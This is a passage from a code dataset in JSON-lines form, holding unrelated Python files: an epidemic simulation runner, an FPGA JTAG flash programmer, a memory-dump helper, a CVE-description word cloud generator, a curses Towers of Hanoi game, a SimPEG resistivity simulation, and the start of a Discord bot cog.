return True\n elif v.lower() in ('no', 'false', 'f', 'n', '0'):\n return False\n else:\n raise argparse.ArgumentTypeError('Boolean value expected.')\n\nclass NpEncoder(json.JSONEncoder):\n '''\n customized json serializer that handles numpy objects\n '''\n def default(self, obj):\n if isinstance(obj, np.integer):\n return int(obj)\n elif isinstance(obj, np.floating):\n return float(obj)\n elif isinstance(obj, np.ndarray):\n return obj.tolist()\n else:\n return super(NpEncoder, self).default(obj)\n\nif __name__ == '__main__':\n # set up the first parser to get the required epidemic parameter file\n p_params_file = argparse.ArgumentParser(add_help=False)\n p_params_file.add_argument(\"-pf\", \"--parameter-file\", required=True, type=str, help=\"A JSON file with epidemic parameters. This can either be a abstract model file or complete model file. For abstract, you need also provide the epidemic rates\")\n args, _ = p_params_file.parse_known_args()\n parameter_filename = args.parameter_file\n if not os.path.isfile(parameter_filename):\n print('Please provide a JSON file with epidemic parameter configurations as the first argument!')\n sys.exit(1)\n\n print('This file will be used: {}'.format(parameter_filename))\n epidemic_parameters = json.load(open(parameter_filename))\n\n tracing_parameters = json.load(open(DEFAULT_TRACING_PARAMS_FILE))\n population_parameters = json.load(open(DEFAULT_POPULATION_PARAMS_FILE))\n\n # now we use a second argparse to check other required parameters\n p = argparse.ArgumentParser()\n p.add_argument(\"-seed\", type=int, default=-1, help='seed (if not specified seed is random')\n p.add_argument(\"-nt\", \"--network-type\", type=str, default='er', help='specify the network simulator to use')\n p.add_argument(\"-np\", \"--network-params\", type=str, default=None, help='specify the network parameter to use')\n p.add_argument(\"-oracle_type\", type=str, default=None, help='type of oracle to use, one of \"backward\", \"forward\", \"oracletracer\", \"globaloracle\", \"random\"')\n p.add_argument(\"-num_tracers\", type=int, default=0, help='number of tracers')\n p.add_argument(\"-nxIts\", type=int, default=1, help='number of iterations of random networks')\n p.add_argument(\"-simIts\", type=int, default=1, help='number of simulations per random network')\n p.add_argument(\"-of\", type=str, default=None, help='path to the file to save results')\n p.add_argument(\"-return_full_data\", type=str2bool, default=True, help='Determine if individual transimissions are tracked (This will introduce additional computational overhead)')\n p.add_argument(\"-parallel\", type=str2bool, default=False, help='Run simulation in parallel.')\n p.add_argument(\"-num_nodes\", type=int, default=0, help='number of first set of nodes selected for computing secondary infections')\n\n for param in tracing_parameters:\n if isinstance(tracing_parameters[param], (int, float, bool)):\n p.add_argument('-'+param, type=type(tracing_parameters[param]), default=None)\n for param in population_parameters:\n if isinstance(population_parameters[param], (int, float, bool)):\n p.add_argument('-'+param, type=type(population_parameters[param]), default=None)\n\n # if abstract model file is provided, we need to get all rates\n if epidemic_parameters['type'] == 'abstract':\n print('An abstract model file is provided.')\n for param in epidemic_parameters['required_rates']:\n p.add_argument('-'+param, type=float, required=True, default=None)\n args, _ = p.parse_known_args()\n\n # regenerate parameters based on given parameters\n parameters = load_parameters(parameter_filename, DEFAULT_TRACING_PARAMS_FILE, DEFAULT_POPULATION_PARAMS_FILE, new_paramters=vars(args))\n print('The following parameters will be applied:\\n{}'.format(parameters))\n\n if args.seed != -1:\n print('Using random seed: {}'.format(args.seed))\n random.seed(args.seed)\n np.random.seed(args.seed)\n # simulation function\n print('Start simulating loops...\\n')\n infected_totals, max_infected, days2end, quarantined_totals,\\\n average_secondary_infections, prob_positive_CT, prob_positive_RT,\\\n ts, all_status_histories, full_transimissions, full_init_infections,\\\n top_10_communities_infection, positive_per_day, tracers_per_day, tests_correlation_records,\\\n network_sizes, list_secondary_infection_counts = simulation_loop(**parameters)\n\n print_results(parameters['N'], infected_totals, max_infected,\n days2end, quarantined_totals, average_secondary_infections,\n prob_positive_CT, prob_positive_RT, top_10_communities_infection, network_sizes)\n\n statuses = []\n for sta in ['I', 'E', 'Ho', 'Is', \"Ia\",\"Is\", \"Ps\", \"Ea\",\"Es\",\"Ho\",\"ICU\",\"H\"]:\n if sta in all_status_histories[0]:\n statuses.append(sta)\n daily_counts = derive_daily_counts(all_status_histories, ts=ts, status_to_track=statuses)\n\n if args.of is not None:\n # if an output file path is provided, then we save the simulattion\n res = {\n \"infected_totals\": infected_totals,\n \"max_infected\": max_infected,\n \"days2end\": days2end,\n \"quarantined_totals\": quarantined_totals,\n \"average_secondary_infections\": average_secondary_infections,\n \"prob_positive_CT\": prob_positive_CT,\n \"prob_positive_RT\": prob_positive_RT,\n \"positive_per_day\": positive_per_day,\n \"tracers_per_day\": tracers_per_day,\n \"daily_counts\": daily_counts,\n \"tests_correlation_records\": tests_correlation_records,\n \"top_10_communities_infection\": top_10_communities_infection,\n \"network_sizes\": network_sizes\n }\n with open(args.of, 'w') as fp:\n json.dump(res, fp, cls=NpEncoder)\n","repo_name":"qykong/testing-strategies","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":6325,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"86"} +{"seq_id":"37701417479","text":"#!/usr/bin/env python3\n\nimport sys\nimport argparse\nfrom high_level_jtag import *\nimport timeit\n\nstart = timeit.default_timer()\n\nparser = argparse.ArgumentParser()\nparser.add_argument(\"bitfile\", help=\"specify path of bitfile to be loaded\")\nparser.add_argument(\"-lf\",\"--loadFlash\", help=\"load bitstream into non-volatile configuration flash memory\", action=\"store_true\")\nparser.add_argument(\"-nv\",\"--noVerify\", help=\"only load bitstream into flash memory, skip verification\", action=\"store_true\")\nparser.add_argument(\"-vo\",\"--verifyOnly\", help=\"only verify flash content with specified bitfile\", action=\"store_true\")\nargs = parser.parse_args()\n\n# Verify communication channel and correct hardware\nprint(\"Establishing JTAG connection to device\")\nidcode = read_IDCODE()\nif idcode[3:] == \"362e093\":\n print(\"Found expected FPGA IDCODE for module TRIXORFP_FIBER2, continuing...\")\nelse:\n sys.exit(\"Wrong FPGA IDCODE detected, exiting...\")\n\n# Perform tasks specified by arguments\n\nif args.loadFlash or args.verifyOnly:\n print(\"Configuring device for flash background programming\")\n program_device(\"trixorfp_fiber2_flash_load_20210714.bit\")\n # Open bitfile and read bytes in binary mode:\n with open(args.bitfile,'rb') as f:\n data_raw=f.read()\n f.close()\n # Convert binary object to list an discard unneccessary header data\n start_byte = 113\n data = list(data_raw[start_byte:])\nelse: # no flash option selected -> only configure FPGA with bitstream\n program_device(args.bitfile)\n\nif args.loadFlash:\n print(\"Starting to load flash with bitfile: \" + args.bitfile)\n enable_USERMODE1()\n flash_check_id()\n flash_erase()\n flash_program(data)\n if args.noVerify:\n print(\"Skipping flash content verification\")\n else:\n flash_verify(data)\nelse:\n if args.verifyOnly:\n flash_verify(data)\n\n# Reset TAP controller\nTAP_RESET()\n\nprint(\"Done!\")\n\nstop = timeit.default_timer()\n\nprint('Time: ', stop - start)\n","repo_name":"hennomann/rpi_jtag","sub_path":"program_trixorfp_fiber2.py","file_name":"program_trixorfp_fiber2.py","file_ext":"py","file_size_in_byte":1963,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"86"} +{"seq_id":"9285796274","text":"__author__ = 'akshat'\n\nimport psutil\nimport os\nimport gc\nimport sys\nimport cPickle\n\ndef memory_dump():\n dump = open(\"memory.pickle\", 'w')\n for obj in gc.get_objects():\n i = id(obj)\n size = sys.getsizeof(obj, 0)\n # referrers = [id(o) for o in gc.get_referrers(obj) if hasattr(o, '__class__')]\n referents = [id(o) for o in gc.get_referents(obj) if hasattr(o, '__class__')]\n if hasattr(obj, '__class__'):\n cls = str(obj.__class__)\n cPickle.dump({'id': i, 'class': cls, 'size': size, 'referents': referents}, dump)\n\nrss = psutil.Process(os.getpid()).get_memory_info().rss\n# Dump variables if using more than 100MB of memory\nif rss > 100 * 1024 * 1024:\n memory_dump()\n\n\n","repo_name":"always-akshat/snews","sub_path":"garbage_col.py","file_name":"garbage_col.py","file_ext":"py","file_size_in_byte":734,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"86"} +{"seq_id":"17366736447","text":"import csv\nimport os\nimport argparse\nfrom datetime import datetime, timedelta\nfrom dotenv import load_dotenv\nfrom wordcloud import WordCloud\n\nload_dotenv(verbose=True)\n\n\ndef get_description_list(target_date):\n description_list = []\n for year in range(1999, 2021):\n with open('%s%i.tsv' % (os.environ.get(\"CVE_Easy_List\"), year)) as f:\n reader = csv.reader(f, delimiter='\\t')\n for row in reader:\n if len(row) != 4 or row[1] != target_date:\n continue\n description_list.append(row[2])\n description_list.append(row[3])\n return description_list\n\n\ndef create_word_cloud(description_list):\n word_list = ''\n for description in description_list:\n word_list += description + '\\n'\n\n stop_words = [u'am', u'an', u'and', u'are', u'as', u'based', u'be', u'below', u'by', u'for', u'in', u'is', u'it', u'of',\n u'on', u'or', u'that', u'the', u'there', u'this', u'to', u'vulnerability', u'was', u'will']\n word_cloud = WordCloud(background_color=\"white\",\n font_path='/System/Library/Fonts/HelveticaNeue.ttc',\n width=900, height=500, stopwords=set(stop_words)).generate(word_list)\n word_cloud.to_file('image.png')\n\n\nif __name__ == '__main__':\n parser = argparse.ArgumentParser()\n parser.add_argument('-d', '--days', type=int, default=0)\n args = parser.parse_args()\n\n target_date = (datetime.now() - timedelta(days=args.days)).strftime('%Y-%m-%d')\n print('Search : %s' % target_date)\n description_list = get_description_list(target_date)\n if len(description_list) == 0:\n print('Error: Not found vulnerability description')\n exit(1)\n else:\n print('Found Vulnerabilities : %i' % len(description_list))\n create_word_cloud(description_list)\n","repo_name":"motikan2010/CVE-Word-Cloud","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1861,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"86"} +{"seq_id":"38901636301","text":"\"\"\"\nPlot.Map.PFT.py\n=============================\nOutput the figure of the map of PFTs[4].\n\"\"\"\n\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport cartopy.crs as ccrs\nimport xarray as xr\nimport os\nimport sys\nsys.path.append('../')\nfrom tools import tool_ClimData_Preprocessing as tool_CDPrep\n\ndef Plot_Map(Plot_Data, Plot_Config):\n\t\n\t# Create figure object\n\tfig, ax = plt.subplots(figsize=(5, 3), dpi=300, subplot_kw={'projection': ccrs.PlateCarree()})\n\n\t# Plot: PFT\n\tPFT_pcolormesh = ax.pcolormesh(Plot_Data['Lon'], Plot_Data['Lat'], Plot_Data['PFT'], cmap='PiYG', vmin=-3, vmax=3, transform=ccrs.PlateCarree())\n\tfig.colorbar(PFT_pcolormesh, label='PFT change (%)', orientation='vertical', shrink=1, fraction=0.05, pad=0.05)\n\n\t# Plot: rectangle for MC\n\tLat_Min, Lat_Max, Lon_Min, Lon_Max = tool_CDPrep.Get_RangeBoundary('MC_Analysis')\n\tax.add_patch(plt.Rectangle(xy=(Lon_Min, Lat_Min), width=(Lon_Max - Lon_Min), height=(Lat_Max - Lat_Min), fill=False, transform=ccrs.PlateCarree(), color='Black', linewidth=1.5))\n\n\t# Configuration\n\tLat_Min, Lat_Max, Lon_Min, Lon_Max = tool_CDPrep.Get_RangeBoundary('MC_Map')\n\tax.set_extent([Lon_Min, Lon_Max, Lat_Min, Lat_Max], crs=ccrs.PlateCarree())\n\tax.coastlines(resolution='10m')\n\tax.set_title('Map: PFT {}'.format(Plot_Config['n_PFT']), pad=12)\n\n\t# Save figure\n\tplt.tight_layout()\n\tFigure_Path = '../output/Output_Figure/Plot.Map.PFT/'\n\tFigure_Name = 'Plot.Map.PFT.{}.png'.format(Plot_Config['n_PFT'])\n\tif not (os.path.exists(Figure_Path)): os.makedirs(Figure_Path)\n\tplt.savefig(Figure_Path + Figure_Name)\n\n\treturn\n\nif (__name__ == '__main__'):\n\n\t# Get data\n\tData_PFT_CTL = xr.open_dataset('../src/LUCForcing/landuse.timeseries_0.9x1.25_CESM2_PGWDEF_CTL.nc')['PCT_NAT_PFT'].sel(time=slice('2020', '2020')).values\n\tData_PFT_fixLUC = xr.open_dataset('../src/LUCForcing/landuse.timeseries_0.9x1.25_CESM2_PGWDEF_fixLUC.nc')['PCT_NAT_PFT'].sel(time=slice('2020', '2020')).values\n\n\t# Calculate spatial average\n\tData_PFT_CTL = np.nanmean(Data_PFT_CTL, axis=0)\n\tData_PFT_fixLUC = np.nanmean(Data_PFT_fixLUC, axis=0)\n\n\t# Get reference information\n\tRefInfo = tool_CDPrep.Get_RefInfo()\n\n\t# Plot\n\tfor i_PFT in range(0, 15):\n\n\t\tPlot_Data = {\\\n\t\t\t'PFT' : Data_PFT_CTL[i_PFT, ...] - Data_PFT_fixLUC[i_PFT, ...], \\\n\t\t\t'Lat' : RefInfo['Lat'], \\\n\t\t\t'Lon' : RefInfo['Lon'], \\\n\t\t}\n\n\t\tPlot_Config = {\\\n\t\t\t'n_PFT': i_PFT, \\\n\t\t}\n\n\t\tPlot_Map(Plot_Data, Plot_Config)","repo_name":"ChunLienChiang/CESM2_PGWDEF","sub_path":"plot/Plot.Map.PFT.py","file_name":"Plot.Map.PFT.py","file_ext":"py","file_size_in_byte":2407,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"86"} +{"seq_id":"72607165403","text":"#!/usr/bin/env python3\n\nimport sys\nimport hanoi_solver\nimport hanoi_ascii\nimport towers_manipulation\nimport os\nimport subprocess\n\nfrom pretty_term import print_menu\nfrom curses import *\n\ndef main_title(scr):\n h, w = scr.getmaxyx()\n\n scr.addstr(3, w//2 - 40, \"__/\\\\\\\\\\\\________/\\\\\\\\\\\\__________________________________________________ \")\n napms(100)\n scr.refresh()\n scr.addstr(4, w//2 - 40, \" _\\\\/\\\\\\\\\\\\_______\\\\/\\\\\\\\\\\\__________________________________________________ \")\n napms(100)\n scr.refresh()\n scr.addstr(5, w//2 - 40, \" _\\\\/\\\\\\\\\\\\_______\\\\/\\\\\\\\\\\\_____________________________________________/\\\\\\\\\\\\_ \")\n napms(100)\n scr.refresh()\n scr.addstr(6, w//2 - 40, \" _\\\\/\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\__/\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\_____/\\\\\\\\/\\\\\\\\\\\\\\\\\\\\\\\\_______/\\\\\\\\\\\\\\\\\\\\____\\\\///__ \")\n napms(100)\n scr.refresh()\n scr.addstr(7, w//2 - 40, \" _\\\\/\\\\\\\\\\\\/////////\\\\\\\\\\\\_\\\\////////\\\\\\\\\\\\___\\\\/\\\\\\\\\\\\////\\\\\\\\\\\\____/\\\\\\\\\\\\///\\\\\\\\\\\\___/\\\\\\\\\\\\_ \")\n napms(100)\n scr.refresh()\n scr.addstr(8, w//2 - 40, \" _\\\\/\\\\\\\\\\\\_______\\/\\\\\\\\\\\\___/\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\__\\\\/\\\\\\\\\\\\__\\\\//\\\\\\\\\\\\__/\\\\\\\\\\\\__\\//\\\\\\\\\\\\_\\\\/\\\\\\\\\\\\_ \")\n napms(100)\n scr.refresh()\n scr.addstr(9, w//2 - 40, \" _\\\\/\\\\\\\\\\\\_______\\\\/\\\\\\\\\\\\__/\\\\\\\\\\\\/////\\\\\\\\\\\\__\\\\/\\\\\\\\\\\\___\\\\/\\\\\\\\\\\\_\\\\//\\\\\\\\\\\\__/\\\\\\\\\\\\__\\\\/\\\\\\\\\\\\_ \")\n napms(100)\n scr.refresh()\n scr.addstr(10, w//2 - 40, \" _\\\\/\\\\\\\\\\\\_______\\\\/\\\\\\\\\\\\_\\\\//\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\/\\\\\\\\_\\\\/\\\\\\\\\\\\___\\\\/\\\\\\\\\\\\__\\\\///\\\\\\\\\\\\\\\\\\\\/___\\\\/\\\\\\\\\\\\_ \")\n napms(100)\n scr.refresh()\n scr.addstr(11, w//2 - 40, \" _\\\\///________\\\\///___\\\\////////\\\\//__\\\\///____\\\\///_____\\\\/////_____\\\\///__\")\n\n\ndef main_menu(scr):\n\n h, w = scr.getmaxyx()\n\n menu = [\"Play it super easy\", \"Play it easy\",\n \"Play it casual\", \"Play it hard\",\n \"Play it super hard\", \"Play it god-like\",\n \"Play it Kratos-like\"]\n\n print_menu(scr, menu)\n\n msg = \"0. Exit\"\n scr.addstr(int(h/2) - len(menu) + 11, int(w/2) - len(msg), msg)\n\n while True:\n scr.addstr(int(h/2) - len(menu) + 13, 2, \"Make your selection: \")\n user_choice = scr.getkey()\n\n try:\n if user_choice in (\"1\", \"2\", \"3\", \"4\", \"5\", \"6\", \"7\"):\n scr.clear()\n hanoi_game(scr, user_choice)\n return 0\n\n elif user_choice in (\"n\", \"N\", \"0\", \"non\", \"Non\",\n \"non\", \"Non\", \"exit\", \"Exit\"):\n scr.clear()\n sys.exit(0)\n\n else:\n raise ValueError\n\n except ValueError:\n pass\n\n\ndef translate_difficulty_level(user_input):\n\n return {\"1\": 2,\n \"2\": 3,\n \"3\": 5,\n \"4\": 6,\n \"5\": 8,\n \"6\": 10,\n \"7\": 15}[user_input]\n\n\ndef remove_whitespace(user_input):\n\n while \" \" in user_input:\n user_input = user_input.replace(\" \", \"\")\n\n return user_input\n\n\ndef endgame_menu(scr, towers, difficulty_level, moves_counter):\n\n towers_size = translate_difficulty_level(difficulty_level)\n expected_moves = 2**towers_size - 1\n\n scr.addstr(\"\\n\\n==========================================================\")\n scr.addstr(\"\\n============ Congratulations! You won :D ! ==============\")\n scr.addstr(\"\\n==========================================================\\n\\n\")\n\n scr.addstr(\"You made \"\n + str(moves_counter)\n + \" moves out of the \"\n + str(expected_moves)\n + \" minimum move! \\n\")\n\n while True:\n try:\n scr.addstr(\"\\nDo you want to play solution? \")\n go_on = scr.getkey()\n\n if go_on in (\"y\", \"Y\", \"o\", \"O\", \"yes\", \"Yes\", \"oui\", \"Oui\"):\n animation_speed = hanoi_solver.solution_animation_speed(difficulty_level)\n scr.clear()\n hanoi_solver.play_solution(scr, towers_size, animation_speed)\n break\n\n elif go_on in (\"n\", \"N\", \"no\", \"No\", \"non\", \"Non\"):\n break\n\n else:\n raise ValueError\n\n except ValueError:\n pass\n\n while True:\n try:\n scr.addstr(\"\\nDo you want to go back to main menu? \")\n go_on = scr.getkey()\n\n if go_on in (\"y\", \"Y\", \"o\", \"O\", \"yes\", \"Yes\", \"oui\", \"Oui\"):\n scr.clear()\n return 0\n\n elif go_on in (\"n\", \"N\", \"no\", \"No\", \"non\", \"Non\"):\n scr.clear()\n sys.exit(0)\n\n else:\n raise ValueError\n\n except ValueError:\n pass\n\n\ndef hanoi_game(scr, difficulty_level):\n\n towers_size = translate_difficulty_level(difficulty_level)\n\n tower1 = hanoi_solver.create_hanoi_tower(towers_size)\n tower2 = towers_manipulation.create_no_ring_hanoi_tower(towers_size)\n tower3 = towers_manipulation.create_no_ring_hanoi_tower(towers_size)\n towers = [tower1, tower2, tower3]\n win_condition = [] + tower1\n moves_counter = 0\n\n scr.clear()\n scr.addstr(\"\\n\\n\")\n hanoi_ascii.print_towers(scr, towers)\n scr.addstr(\"\\n\")\n\n while True:\n\n if towers[1] == win_condition:\n return endgame_menu(scr, towers, difficulty_level, moves_counter)\n\n echo()\n nocbreak()\n\n scr.addstr(\"\\n\")\n scr.addstr(\"Enter ring id: \")\n user_input = scr.getstr().decode(encoding=\"utf-8\")\n\n noecho()\n cbreak()\n\n if user_input in (\"q\", \"Q\", \"l\", \"L\", \"quit\",\n \"Quit\", \"exit\", \"Exit\", \"leave\", \"Leave\"):\n scr.clear()\n sys.exit(0)\n\n elif user_input in (\"b\", \"B\", \"back\", \"Back\", \"r\", \"R\", \"return\"):\n scr.clear()\n return 0\n\n elif user_input == \"s\":\n animation_speed = hanoi_solver.solution_animation_speed(difficulty_level)\n hanoi_solver.play_solution(scr, towers_size, animation_speed)\n scr.clear()\n scr.addstr(\"\\n\\n\")\n hanoi_ascii.print_towers(scr, towers)\n scr.addstr(\"\\n\")\n continue\n\n echo()\n nocbreak()\n\n scr.addstr(\"\\n\")\n scr.addstr(\"Enter tower id: \")\n targeted_tower = scr.getkey()\n\n noecho()\n cbreak()\n\n res_list = [user_input, towers_manipulation.translate_tower_index(targeted_tower)]\n flushinp()\n\n try:\n\n if int(res_list[0]) in range(1, towers_size+1) and res_list[1] in (1, 2, 3):\n moves_counter += 1\n towers = towers_manipulation.move_ring(res_list, towers)\n scr.clear()\n scr.addstr(\"\\n\\n\")\n hanoi_ascii.print_towers(scr, towers)\n scr.addstr(\"\\n\")\n\n else:\n raise ValueError\n\n except ValueError:\n flushinp()\n scr.addstr(\"\\nInvalid movement!\")\n\n\ndef main(scr):\n\n while True:\n scr.erase()\n scr.border('|', '|', '-', '-', '+', '+', '+', '+')\n main_title(scr)\n main_menu(scr)\n\nsubprocess.CREATE_NEW_CONSOLE\nwrapper(main)\n","repo_name":"florian-corby/Pylearn","sub_path":"hanoi_curse_version/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":7107,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"86"} +{"seq_id":"31245215728","text":"\"\"\"\nDC Forward Simulation\n=====================\n\nForward model two conductive spheres in a half-space and plot a\npseudo-section. Assumes an infinite line source and measures along the\ncenter of the spheres.\n\nINPUT:\nloc = Location of spheres [[x1, y1, z1], [x2, y2, z2]]\nradi = Radius of spheres [r1, r2]\nparam = Conductivity of background and two spheres [m0, m1, m2]\nsurvey_type = survey type 'pole-dipole' or 'dipole-dipole'\nunitType = Data type \"appResistivity\" | \"appConductivity\" | \"volt\"\nCreated by @fourndo\n\n\"\"\"\nimport time\nimport numpy as np\nimport scipy.sparse as sp\nimport matplotlib.pyplot as plt\n\nfrom SimPEG import Mesh, Utils\nfrom SimPEG.EM.Static.Utils import gen_DCIPsurvey\nfrom SimPEG.EM.Static.Utils import convertObs_DC3D_to_2D\nfrom SimPEG.EM.Static.Utils import plot_pseudoSection\n\n\ndef run(loc=None, sig=None, radi=None, param=None, survey_type='dipole-dipole',\n unitType='appConductivity', plotIt=True):\n\n assert survey_type in [\n 'pole-dipole', 'dipole-dipole', 'pole-dipole', 'pole-pole'\n ], (\n \"\"\"survey_type must be 'dipole-dipole' | 'pole-dipole' |\n 'dipole-pole' | 'pole-pole'\"\"\"\n \" not {}\".format(survey_type)\n )\n\n assert unitType in ['appResistivity', 'appConductivity', 'volt'], (\n \"Unit type (unitType) must be appResistivity or \"\n \"appConductivity or volt (potential)\"\n )\n\n if loc is None:\n loc = np.c_[[-50., 0., -50.], [50., 0., -50.]]\n if sig is None:\n sig = np.r_[1e-2, 1e-1, 1e-3]\n if radi is None:\n radi = np.r_[25., 25.]\n if param is None:\n param = np.r_[30., 30., 5]\n\n dx = 5.\n\n hxind = [(dx, 15, -1.3), (dx, 75), (dx, 15, 1.3)]\n hyind = [(dx, 15, -1.3), (dx, 10), (dx, 15, 1.3)]\n hzind = [(dx, 15, -1.3), (dx, 15)]\n\n mesh = Mesh.TensorMesh([hxind, hyind, hzind], 'CCN')\n\n # Set background conductivity\n model = np.ones(mesh.nC) * sig[0]\n\n # First anomaly\n ind = Utils.ModelBuilder.getIndicesSphere(loc[:, 0], radi[0], mesh.gridCC)\n model[ind] = sig[1]\n\n # Second anomaly\n ind = Utils.ModelBuilder.getIndicesSphere(loc[:, 1], radi[1], mesh.gridCC)\n model[ind] = sig[2]\n\n # Get index of the center\n indy = int(mesh.nCy/2)\n\n # Plot the model for reference\n # Define core mesh extent\n xlim = 200\n zlim = 100\n\n # Then specify the end points of the survey. Let's keep it simple for now\n # and survey above the anomalies, top of the mesh\n ends = [(-175, 0), (175, 0)]\n ends = np.c_[np.asarray(ends), np.ones(2).T*mesh.vectorNz[-1]]\n\n # Snap the endpoints to the grid. Easier to create 2D section.\n indx = Utils.closestPoints(mesh, ends)\n locs = np.c_[\n mesh.gridCC[indx, 0],\n mesh.gridCC[indx, 1],\n np.ones(2).T*mesh.vectorNz[-1]\n ]\n\n # We will handle the geometry of the survey for you and create all the\n # combination of tx-rx along line\n survey = gen_DCIPsurvey(\n locs, dim=mesh.dim, survey_type=survey_type,\n a=param[0], b=param[1], n=param[2]\n )\n Tx = survey.srcList\n Rx = [src.rxList[0] for src in Tx]\n # Define some global geometry\n dl_len = np.sqrt(np.sum((locs[0, :] - locs[1, :])**2))\n dl_x = (Tx[-1].loc[0][1] - Tx[0].loc[0][0]) / dl_len\n dl_y = (Tx[-1].loc[1][1] - Tx[0].loc[1][0]) / dl_len\n\n # Set boundary conditions\n mesh.setCellGradBC('neumann')\n\n # Define the linear system needed for the DC problem. We assume an infitite\n # line source for simplicity.\n Div = mesh.faceDiv\n Grad = mesh.cellGrad\n Msig = Utils.sdiag(1./(mesh.aveF2CC.T*(1./model)))\n\n A = Div*Msig*Grad\n\n # Change one corner to deal with nullspace\n A[0, 0] = 1\n A = sp.csc_matrix(A)\n\n # We will solve the system iteratively, so a pre-conditioner is helpful\n # This is simply a Jacobi preconditioner (inverse of the main diagonal)\n dA = A.diagonal()\n P = sp.spdiags(1/dA, 0, A.shape[0], A.shape[0])\n\n # Now we can solve the system for all the transmitters\n # We want to store the data\n data = []\n\n # There is probably a more elegant way to do this,\n # but we can just for-loop through the transmitters\n for ii in range(len(Tx)):\n\n start_time = time.time() # Let's time the calculations\n\n # print(\"Transmitter %i / %i\\r\" % (ii+1, len(Tx)))\n\n # Select dipole locations for receiver\n rxloc_M = np.asarray(Rx[ii].locs[0])\n rxloc_N = np.asarray(Rx[ii].locs[1])\n\n # For usual cases 'dipole-dipole' or \"gradient\"\n if survey_type == 'pole-dipole':\n # Create an \"inifinity\" pole\n tx = np.squeeze(Tx[ii].loc[:, 0:1])\n tinf = tx + np.array([dl_x, dl_y, 0])*dl_len*2\n inds = Utils.closestPoints(mesh, np.c_[tx, tinf].T)\n RHS = (\n mesh.getInterpolationMat(np.asarray(Tx[ii]).T, 'CC').T *\n ([-1] / mesh.vol[inds])\n )\n else:\n inds = Utils.closestPoints(mesh, np.asarray(Tx[ii].loc))\n RHS = (\n mesh.getInterpolationMat(np.asarray(Tx[ii].loc), 'CC').T *\n ([-1, 1] / mesh.vol[inds])\n )\n\n # Iterative Solve\n Ainvb = sp.linalg.bicgstab(P*A, P*RHS, tol=1e-5)\n\n # We now have the potential everywhere\n phi = Utils.mkvc(Ainvb[0])\n\n # Solve for phi on pole locations\n P1 = mesh.getInterpolationMat(rxloc_M, 'CC')\n P2 = mesh.getInterpolationMat(rxloc_N, 'CC')\n\n # Compute the potential difference\n dtemp = (P1*phi - P2*phi)*np.pi\n\n data.append(dtemp)\n print ('\\rTransmitter {0} of {1} -> Time:{2} sec'.format(\n ii, len(Tx), time.time() - start_time)\n )\n\n print ('Transmitter {0} of {1}'.format(ii, len(Tx)))\n print ('Forward completed')\n\n # Let's just convert the 3D format into 2D (distance along line) and plot\n survey2D = convertObs_DC3D_to_2D(survey, np.ones(survey.nSrc), 'Xloc')\n survey2D.dobs = np.hstack(data)\n\n if not plotIt:\n return\n\n fig = plt.figure(figsize=(7, 7))\n ax = plt.subplot(2, 1, 1, aspect='equal')\n # Plot the location of the spheres for reference\n circle1 = plt.Circle(\n (loc[0, 0], loc[2, 0]), radi[0], color='w', fill=False, lw=3\n )\n circle2 = plt.Circle(\n (loc[0, 1], loc[2, 1]), radi[1], color='k', fill=False, lw=3\n )\n ax.add_artist(circle1)\n ax.add_artist(circle2)\n\n dat = mesh.plotSlice(\n np.log10(model), ax=ax, normal='Y',\n ind=indy, grid=True, clim=np.log10([sig.min(), sig.max()])\n )\n\n ax.set_title('3-D model')\n plt.gca().set_aspect('equal', adjustable='box')\n plt.scatter(Tx[0].loc[0][0], Tx[0].loc[0][2], s=40, c='g', marker='v')\n plt.scatter(Rx[0].locs[0][:, 0], Rx[0].locs[0][:, 1], s=40, c='y')\n plt.xlim([-xlim, xlim])\n plt.ylim([-zlim, mesh.vectorNz[-1]+dx])\n\n pos = ax.get_position()\n ax.set_position([pos.x0, pos.y0 + 0.025, pos.width, pos.height])\n pos = ax.get_position()\n # the parameters are the specified position you set\n cbarax = fig.add_axes(\n [pos.x0, pos.y0 + 0.025, pos.width, pos.height * 0.04]\n )\n cb = fig.colorbar(\n dat[0],\n cax=cbarax,\n orientation=\"horizontal\",\n ax=ax,\n ticks=np.linspace(np.log10(sig.min()), np.log10(sig.max()), 3),\n format=\"$10^{%.1f}$\"\n )\n cb.set_label(\"Conductivity (S/m)\", size=12)\n cb.ax.tick_params(labelsize=12)\n\n # Second plot for the predicted apparent resistivity data\n ax2 = plt.subplot(2, 1, 2, aspect='equal')\n\n # Plot the location of the spheres for reference\n circle1 = plt.Circle(\n (loc[0, 0], loc[2, 0]), radi[0], color='w', fill=False, lw=3\n )\n circle2 = plt.Circle(\n (loc[0, 1], loc[2, 1]), radi[1], color='k', fill=False, lw=3\n )\n ax2.add_artist(circle1)\n ax2.add_artist(circle2)\n\n # Add the pseudo section\n dat = plot_pseudoSection(\n survey2D, ax2, survey_type=survey_type, data_type=unitType\n )\n ax2.set_title('Apparent Conductivity data')\n\n plt.ylim([-zlim, mesh.vectorNz[-1]+dx])\n\n return fig, ax\n\nif __name__ == '__main__':\n run()\n plt.show()\n","repo_name":"jlartey-aims/Resistivity","sub_path":"examples/06-dc/plot_pseudo_section.py","file_name":"plot_pseudo_section.py","file_ext":"py","file_size_in_byte":8147,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"86"} +{"seq_id":"34789820715","text":"import discord\nfrom discord.ext import commands\n\n\nclass Setup(commands.Cog):\n\n def __init__(self, client):\n self.client = client\n\n @commands.Cog.listener()\n async def on_ready(self):\n print('Bot is ready')\n\n\ndef setup(client):\n 